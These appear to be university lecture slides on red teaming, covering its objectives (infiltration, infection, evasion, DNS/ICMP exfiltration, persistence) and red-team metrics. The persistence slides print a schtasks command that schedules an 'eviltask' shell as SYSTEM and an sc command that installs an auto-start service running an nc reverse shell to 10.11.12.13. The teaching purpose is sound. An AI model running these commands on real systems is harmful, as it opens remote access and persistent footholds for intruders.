
Christian Brem, Thomas Stipsits
Agenda

Recap Pentests

Red Teaming
  Pentesting vs. Red Teaming
  Objectives
    Infiltration
    Infection
    Evasion
    Exfiltration
    Persistence
  Red Teaming Metrics

Summary
Recap – Penetration Testing

- Special type of security tests (offensive security tests)
  - Finding flaws by mimicking attacks from adversaries on target systems
  - Show that findings are attackable → Proof for customer/management
  - Execution on productively configured (test-)systems

- Execute tests on all layers of the OSI reference model (and more)
  - e.g. layer 1-7: technical layers, layer 8: social engineering

- Fixing flaws are costly (late in software lifecycle)

- Most tests are executed to test the application itself or the integration of the application into the surrounding IT ecosystem
Penetration Testing – Phases

- Standardization of phases to increase transparency and comprehensibility
- Rough classification of phases:
  - Pre-Engagement
  - Intelligence Gathering
  - Threat Modelling
  - Vulnerability Analysis
  - Exploitation
  - Post-Exploitation
  - Reporting

Penetration Testing – Standardization

- Standardization benefits **transparency** and **comprehensibility**
- Typically **limited scope**
- Process obeys **fixed structure**
- Some vulnerabilities / shortcomings can not be found by following a standardized process
- Suitable to reach a **formal test coverage** of fully developed systems
- Problematic in dynamic environments & in situations where codebase changes often
- Following a standardized approach can **differ from adversarial behaviour** (not following the approach of **least resistance**)
Penetration Testing – Controlling

- Pentesting engagements need to be **planned and re-mediated** by an in-house security team.
- Require **decent planning** in advance and rather **comprehensive remediation** afterwards.
- If **not controlled** properly a test **will not benefit security** of the asset.
- Remediation actions on found shortcomings are imperative.
- Development often needs **consulting and guidance on implementing proper mitigations**.
Penetration Testing – Shortcomings

- Is adversary behaviour detected within the network?
- Are defensive mechanisms in-place and functional?
- How would an adversary pivot through the network?
- What are especially tempting targets?
- For how long can an adversary evade detection?
- Are in-house security teams equipped/trained well enough to detect sophisticated adversaries?
- Is the overall security strategy suitable for the network characteristics?
Non-Technical and organizational security measures

- Why are technical security measures **not** enough?
Recap Red Teaming – Focus on organizational security measures

- Naming comes from military vocabulary
- Special manifestation of a pentest
- **Testing rather the organizations detection and resilience capabilities in hindsight of cyber attacks than the systems**
- Significant *deviations in characteristics* between pentests and red teeming exercises
- More **unstructured approach** than during regular penetration tests
- Tactics, Techniques and Procedures (TTP) of “**Advanced persistent Threats**” (APT)
- **Evasion** of detection mechanisms is often a key issue
Red Teaming – Characteristics

- Advanced Persistent Threats (APT) are often chosen as **actor roles**
- **Bypassing and evading** security and detection mechanisms as **focus**
- Goals and objectives need to be agreed upon **before** starting the exercise
- External teams infiltrate the targets network and try to get access to **key objectives**
- Less “rules of play” than in pentesting engagements
- Standardization hardly possible due to the nature of red teaming
- **Longer durations** because of the significantly higher complexity
## Pentesting vs. Red Teaming Characteristics

<table>
<thead>
<tr>
<th>Pentesting:</th>
<th>Red Teaming:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Established methodology</td>
<td>Very dynamic process</td>
</tr>
<tr>
<td>Often restrictive scope</td>
<td>Restriction of scope massively impacts effectiveness</td>
</tr>
<tr>
<td>Typically 1-2 weeks duration per engagements</td>
<td>Sometimes months-long duration</td>
</tr>
<tr>
<td>Execution announced</td>
<td>Execution of tests typically unannounced</td>
</tr>
<tr>
<td>Testing for vulnerabilities of a system</td>
<td>Testing of an organization's detection and resilience capabilities in hindsight of cyber attacks</td>
</tr>
</tbody>
</table>
Red Teaming – Motivation

- Gaps in security strategies can be effectively uncovered by **attack simulations**
- Perform a **reality check** on the organizations security measures
- Objective assessment of how **complex possible attacks** are
- Objective assessment of how **effective detection mechanisms** are
- Performing additional tests of **physical attack vectors** (lock picking, WiFi ranges, etc.)
- Testing of **non-technical attack vectors** (e.g. social engineering)
- Expand the skill set of Blue Teams
Goals are pursued by Red Teaming with all available means.

Typical objectives would be for example:

- **Infiltration** – Gain access to separate (virtual) areas
- **Infection** – Expand privileges on accessible system
- **Evasion** – Avoid discovery
- **Exfiltration** – Extract valuable data
- **Persistence** – Persistent access to systems/data/networks
- ...
Objective – Infiltration

- Gain access to separated areas
- Includes access to network segments and physical areas (e.g. data center)
- Both digital and physical methods possible
- Depending on the type, consent need to be obtained in the pre-engagement phase
- Typical methods for infiltration are for example:
  - Social Engineering
  - Physical Security tests
  - Active Directory Hacking
  - WLAN Hacking
  - ...
Legal aspects are quite problematical
Explicit agreement on ALL employed techniques necessary
Is personal data obtained? How is it handled?
Different methods, often used in combination (e.g. physical tests & USB Baiting)
Examples of applied techniques:

- **(Spear-)Phishing** – Obtaining credentials through fake sites/emails
- **Water Hole Attack** – Hacking of frequently used pages/services
- **USB Baiting** – Distributing infected USB Devices
- ...
Legal aspects are quite problematical

Extend digital access by leveraging physical access – e.g. install WiFi gateway

Examples of applied techniques:

- **Lock-Picking** – Attacking physical locks
- **Badge Cloning** – Access card cloning
- **Tailgating** – Open door for a co-worker/enter building with group

...
Infiltration – Active Directory Hacking

- Attacking the **Active Directory Controller** in Windows Networks
- Compromising the controller gives access to **ALL** computers in the AD network
- With several concurrent AD networks often preliminary stage to **Pivoting**

Examples of applied techniques:

- **Kerberoasting** – Crack Kerberos Service Account Tickets
- **Golden ticket** – Hijacking of the AD domain administrators ticket
- **Skeleton key** – Malware that infects LSASS and sets a master password for all AD users
- ...
Infiltration – WLAN Hacking

- Minimal physical interaction, antennas used to amplify signals
- Older protocols (WEP/WPA) especially easy to attack
- Can be combined with phishing/social engineering attacks
- Examples of applied techniques:
  - **Design problems** – Attacking Design flaws e.g. (WPA2 - KRACK, WPA3 - Dragonblood)
  - **Cracking** – Cracking data encryption, obtained key hashes etc.
  - **Spoofing** – Copying the identity of a system, Trying to impersonate Access Point to obtain authentication requests
  - **Eavesdropping** – Dumping network communication and obtain challenge/response data pairs
WLAN Hacking – Reality OPCW GRU Hacking Attempt

- 13. Apr 2018 GRU agents were caught during an ongoing attack
- Minimal physical interaction, antennas used to amplify signals

(See https://english.defensie.nl/binaries/defence/documents/publications/2018/10/04/gru-close-access-cyber-operation-against-opcw/ppt+pressconference+ENGLISH+DEF.pdf)
WLAN Hacking – OPCW Hacking Attempt Equipment

Connected to:
- Smartphone (4G)
- WiFi panel antenna

Specialist equipment in vehicle
- Setup for hacking WiFi connections

(See https://english.defensie.nl/binaries/defence/documents/publications/2018/10/04/gru-close-access-cyber-operation-against-opcw/ppt+pressconference+ENGLISH+DEF.pdf)
Objective – Infection

- Attacks on applications, web servers etc.
- The aim is to **hijack and compromise the system**.
- Preliminary stage for other objectives (e.g. **Persistence**, **Exfiltration**, . . . )
- Often closely associated with **Evasion Techniques** to verify detection of attacks
- Typical attacks like:
  - **Binary Exploitation** – Attacking stack/heap(binary) vulnerabilities
  - **Injections** – Attacking unvalidated user input
  - **Web Attacks** – Attack web technologies (e.g. log pollution & local file inclusion via PHP)
  - . . .
Infection – Binary Exploitation

- Subverting the functionality of a compiled app (binary)
- Often implemented by memory corruption flaws
- Highly target system specific (OS, x86/x64, ...)
- Typical attack types:
  - **Format String Bugs** – Exploitation of misinterpretation of user input as command
  - **Buffer Overflows** – Stack based manipulation of execution control flow
  - **Heap Exploitation** - Heap based exploitation
Infection – Binary Exploitation

- Subverting the functionality of a compiled app (binary)
- Often implemented by memory corruption flaws
- Highly target system specific (OS, x86/x64, ...)
- Typical attack types:
  - **Format String Bugs** – Exploitation of misinterpretation of user input as command
  - **Buffer Overflows** – Stack based manipulation of execution control flow
  - **Heap Exploitation** - Heap based exploitation
- For more informations about memory corruption flaws please refer to previous lectures “Advanced Attacks on Applications 1” and “Advanced Attacks on Applications 2”
Infection – Injection

- Process of relaying malicious code through a target application to another system
- Code gets executed in the context of the application user
- Target system specific (OS, installed languages, ...)
- Example Injection attacks:
  - **SQL-Injection** – Widely known injection attack targeting SQL based databases
  - **Command-Injection** - Injection of arbitrary OS-commands into application context
  - **Template-Injection** - Embedding Code into templates in (Web-)applications
    - ...
  - ...
Infection – Web Attacks

- Attacking web applications and servers in order to gain RCE
- Attacker can gain remote shell within the context of the web server user
- Often used as initial foothold path
- For attack scenarios refer to OWASP Top 10
- e.g. log pollution and consecutive local file inclusion via php

(See https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
Objective – Evasion

■ Evasion strategies to avoid detection during the engagement
■ Variety of products and techniques to detect and mitigate attacks
■ Surveillance of critical binaries (e.g. PowerShell), scanning of data within the filesystem, . . .
■ Different techniques depending on the type of engagement, e.g.:
  ■ In-Memory Execution – Execution of malware code directly in memory, defeats filesystem scanners
  ■ DLL-Injection – Injection of malicious DLLs into trusted processes, defeats UAC and AppLocker
  ■ Living-Off-the-Land - Usage of system binaries rather than malicious binaries
  ■ . . .
### Evasion – In-Memory Execution

- **Basic idea:** The structure of a PE in-memory is exactly the same as on a hard disk.
- **Basic technique for** fileless execution **of executables**
- **Often so-called Dropper or Loader are used here.**
- **Can be easily applied on scripts in Windows, e.g. by Powershell**
  Invoke Expression (IEX):

  ```powershell
  ```
Evasion – DLL-Injection

- Inserting *own* code via DLLs into a running process
- In Windows, DLLs are reloaded at runtime as required.
- Demands high privileges on the target machine
- Injected DLL is executed in context of target process
- Basic procedure:
  1. *Create interaction with target process* (Process-handle)
  2. *Allocating memory in the memory segment of the target process*
  3. *Copy the DLL to allocated memory*
  4. *Executing the copied DLL*
  5. ...
Evasion – DLL-Injection Illustration

(See http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html)
Basic idea is to “use what is already there” instead of copying malware to target.

Instead of crafted exploit binaries/scripts, existing (system) tools are used.

Complicates detection because tools have legitimate benefits.

Often very target-specific - configurations of systems can vary significantly.

See e.g. https://lolbas-project.github.io/

Petya/NotPetya (Ransomware) as an example of known malware using LotL tools.
Objective – Exfiltration

- Extracting **sensitive data** from a target network/system
- Often firewalls are configured to **avoid exfiltration** of specific data
- For example, encrypted data is often blocked in e-mails
- Exfiltration of **big data chunks** at once could be detected and **raise an alarm**
- Bypassing of such filters/detection is possible by applying different techniques, for example:
  - **DNS-Tunneling** – Splitting of raw data and integration into DNS queries
  - **ICMP-Tunneling** – Inclusion of data in ICMP-Ping queries
  - ...
Data pieces are integrated as subdomains in DNS queries

Normal DNS query function sends query to attacker DNS

Dummy response terminates the request process

Attacker can reassemble the data pieces that were transmitted as subdomain strings to

Due to bidirectional communication, creation of a Command & Control structure possible

Only possible if external DNS queries are possible
Exfiltration – DNS-Command & Control Illustration

(I. Attacker registers a domain hack.com
II. Attacker points hack.com NS to his tunnel server (C&C Server).

Attacker encodes new command/data into DNS Resource Record (RR). TXT, CNAME, NULL records can be used.

Attacker decodes base64 encoded data

DNS Response Contains new Command in Resource Record (RR) e.g. CNAME record

User: joe
Pass: xtf797

Malware sends username and password data encoded in base64 as hostname label

Bot periodically sends DNS Query to pull new command from C&C server.

Infected Host (Bot)
Exfiltration – ICMP-Tunneling

- Data pieces are integrated in the **ICMP Data Field**
- Incoming ICMP packets are usually blocked, but **outgoing packets are allowed**.
- This technique is also candidate for C&C structure if incoming ICMP packets are not blocked
- Detection mostly possible by monitoring for **unusually large ICMP packets** – normally <56 (Linux/mac) & 32 (Win)
Exfiltration – ICMP-Tunneling Network Recording


Internet Control Message Protocol
  Type: 8 (Echo (ping) request)
  Code: 0
  Checksum: 0x47ad [correct]
  [Checksum Status: Good]
  Identifier (BE): 29844 (0x7494)
  Identifier (LE): 38004 (0x9474)
  Sequence number (BE): 1 (0x0001)
  Sequence number (LE): 256 (0x0100)
  [Response Frame: 6]
  Timestamp from icmp data: Oct 2, 2019 15:25:35.000000000 CEST
  [Timestamp from icmp data (relative): 0.988210032 seconds]
  Data (48 bytes)
  Data: e40:0f000000900455353452049434d562654554e4e5454c...
  [Length: 48]

0090 08 90 27 53 7e da 08 00 27 09 0d 7b 08 06 45 00  
0100 00 54 b6 0c 4e 00 40 01 58 78 0a 0b 0c 98 0a 0b  
0200 0c 97 08 09 47 ad 74 94 00 01 4f a5 94 5d 00 00  
0300 00 90 54 0c 07 00 00 00 00 00 45 53 53 45 20 49  
0400 43 4d 50 29 54 55 4e 4e 4e 45 4c 45 53 53 45 20 49  
0500 43 4d 50 29 54 55 4e 4e 4e 45 4c 45 53 53 45 20 49  
0600 43 4d

Data (data.data), 48 bytes

Packets: 12 · Displayed: 4 (33.3%) · Profile: Default
Objective – Persistence

- Persistence is an essential component of a long-term engagement
- Necessary to **preserve access to systems across reboots**
- Many different techniques, often chosen in regard to other objectives (e.g.: evasion)
- Techniques usually **require administrator access**
- Examples of persistence mechanisms:
  - **Scheduled Tasks** – Tasks executed recurrently
  - **Autostart** – Binaries/Scripts that are executed on startup
  - **Account Creation** – Creating an Attacker Account
  - **Service Persistence** – Using dedicated Services to bring binaries/scripts to execution
  - ...
Recurring tasks are legitimate parts of modern operating systems.

- In Linux cronjobs are used to implement these tasks
- In Windows schtasks or at are used to implement these tasks

Detection of abuse often easy to implement (Windows events available)

```
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
```

(See https://attack.mitre.org/techniques/T1053/)
Persistence – Austostart

- The **Windows Startup folder** collects applications that are **automatically executed after starting** the OS.
- Both user **specific** and **general** folder available:
  
  ```
  C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  ```

- **Windows Registry** also has (multiple) startup keys.
- Were frequently used in the past:
  
  ```
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  ```

(See https://attack.mitre.org/techniques/T1112/)
Persistence – Service Persistence

- Services are **separated from a specific user account**
- Continue to run even after the **UserSession has ended**
- Services can also be started **automatically**
- Users usually do not notice services
- Under Windows services can be created/edited with `sc`

```
sc create evilsvc binpath= "nc 10.11.12.13 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
```

(See https://attack.mitre.org/techniques/T1035/)
How are the results of Red Team tests measured?
Red Teaming Metrics

- How are results of Red Teaming engagements evaluated?
- Pentests examine Vulnerabilities – technical properties
- Red Teaming exercises test security strategies – techniques, skill sets, daily constitution, level of knowledge varied
- Metrics try to make complex properties measurable by numerical values
- Caution! – Not all metrics always make sense!
Examples for Red Teaming Metrics

- Number of attacks performed
- Number of successful attacks
- Number of detected attacks
- Number of failed attacks
- Number of avoided attacks
- ...

...
Examples for Red Teaming Metrics

- Number of attacks performed
- Number of successful attacks
- Number of detected attacks
- Number of failed attacks
- Number of avoided attacks
- ...

It is irrelevant for the appraisal of the security strategy whether 1/20 or 10/20 attacks are successful!
Examples for (meaningful) Red Teaming Metrics

- **Time To Detect (TTD)**
  - Time span between incident and detection
  - Attack is completely detected if the blue team perceives it

- **Time To Mitigate (TTM)**
  - Time span between incident and deployment of mitigating measures
  - e.g. Firewall-Block, DNS sinkhole, ...

- **Complexity of successful exploits**
  - Do publicly known exploits/own implementation of known vulnerabilities work?
  - Classification according to attacker class, is used decisively in the evaluation of the final result
Summary

- Pentests often target specific systems and test for vulnerabilities
- Red teaming exercises are special kinds of pentests
- Characteristics of pentests and RT exercises can differ significantly
- RT exercises test overall security strategy in hindsight of detection and resilience
- RT is objective driven
- Measurement of RT success is difficult and can only be achieved by applying meaningful metrics
Literature / Links

- [https://redteams.net/red-teamers-bookshelf](https://redteams.net/red-teamers-bookshelf)
- [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Studien/Penetrationstest/penetrationstest.pdf](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Studien/Penetrationstest/penetrationstest.pdf)
Literature / Links (ii)

- https://wpa3.mathyvanhoef.com/
- https://www.krackattacks.com/
Thank you!

https://security.inso.tuwien.ac.at/